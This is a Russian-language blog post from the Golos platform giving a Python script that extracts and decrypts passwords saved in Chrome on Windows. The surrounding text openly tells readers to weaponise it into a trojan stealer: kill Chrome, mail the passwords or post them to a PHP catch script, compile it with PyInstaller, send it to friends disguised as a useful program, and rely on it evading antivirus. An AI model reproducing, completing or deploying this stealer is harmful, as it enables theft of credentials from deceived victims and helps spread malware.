Уважаемые пользователи Голос!
Сайт доступен в режиме «чтение» до сентября 2020 года. Операции с токенами Golos, Cyber можно проводить, используя альтернативные клиенты или через эксплорер Cyberway. Подробности здесь: https://golos.io/@goloscore/operacii-s-tokenami-golos-cyber-1594822432061
С уважением, команда “Голос”
GOLOS
RU
EN
UA
pythono
6 лет назад

Грабим пароли из Chrome на Python в Windows

Модифицировав данный скрипт вы сможете написать простой троян-стилер на Python под Windows. Данный кусочек кода просто вытаскивает пароли из Chrome. Чтобы сделать его боевым, вам нужно добавить команду, которая убьет процесс хрома для того чтобы он не мешал грабить пароли. После этого добавьте команды отсылающие пароли вам на почту или на php скрипт - ловушку для данных, которую расположите на любом бесплатном php хостинге. Скомпилируйте скрипт с помощью PyInstaller и можете посылать друзьям полезную программу. Антивирусами не палится, проверял на Каспере и Авасте.

# установите pywin32 чтобы все работало
import os
import requests
from sys import exit
import sqlite3
from win32crypt import CryptUnprotectData
import argparse

print('Убедитесь что вы закрыли браузер Chrome...')
print('Ждем некоторое время...')

# Вычисляем папку куда установлен Chrome в Windows

def chromepath():
    PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
    if (os.path.isdir(PathName) == False):
        exit(0)
    return PathName  


# Грабим базу данных с сохраненными паролями
def grub():
    secret = []
    path = chromepath()
    try:
        connection = sqlite3.connect(path + "Login Data")
        with connection:
            cursor = connection.cursor()
            v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
            value = v.fetchall()

        for i in value:
            password = CryptUnprotectData(i[2], None, None, None, 0)[1]
            if password:
                secret.append({
                    '1': i[0],
                    '2': i[1],
                    '3': str(password)
                })
                    
    except sqlite3.OperationalError as e:
            if (str(e) == 'database is locked'):
                print('Вы должны выключить Chrome прежде чем запускать скрипт')
                input()
                exit(0)
               
            else:
                exit(0)
    if secret == []:
        pass
    else:          
        return secret          

# Показываем пароли на экране (вы можете послать их себе на почту или на скрипт php - ловушку для данных)
for data in grub():
    for x in data.values():
        print(x)

print("Пароли извлечены, нажмите Enter")
input()
159
0.133 GOLOS
На Golos с August 2017
Комментарии (4)
Сортировать по:
Сначала старые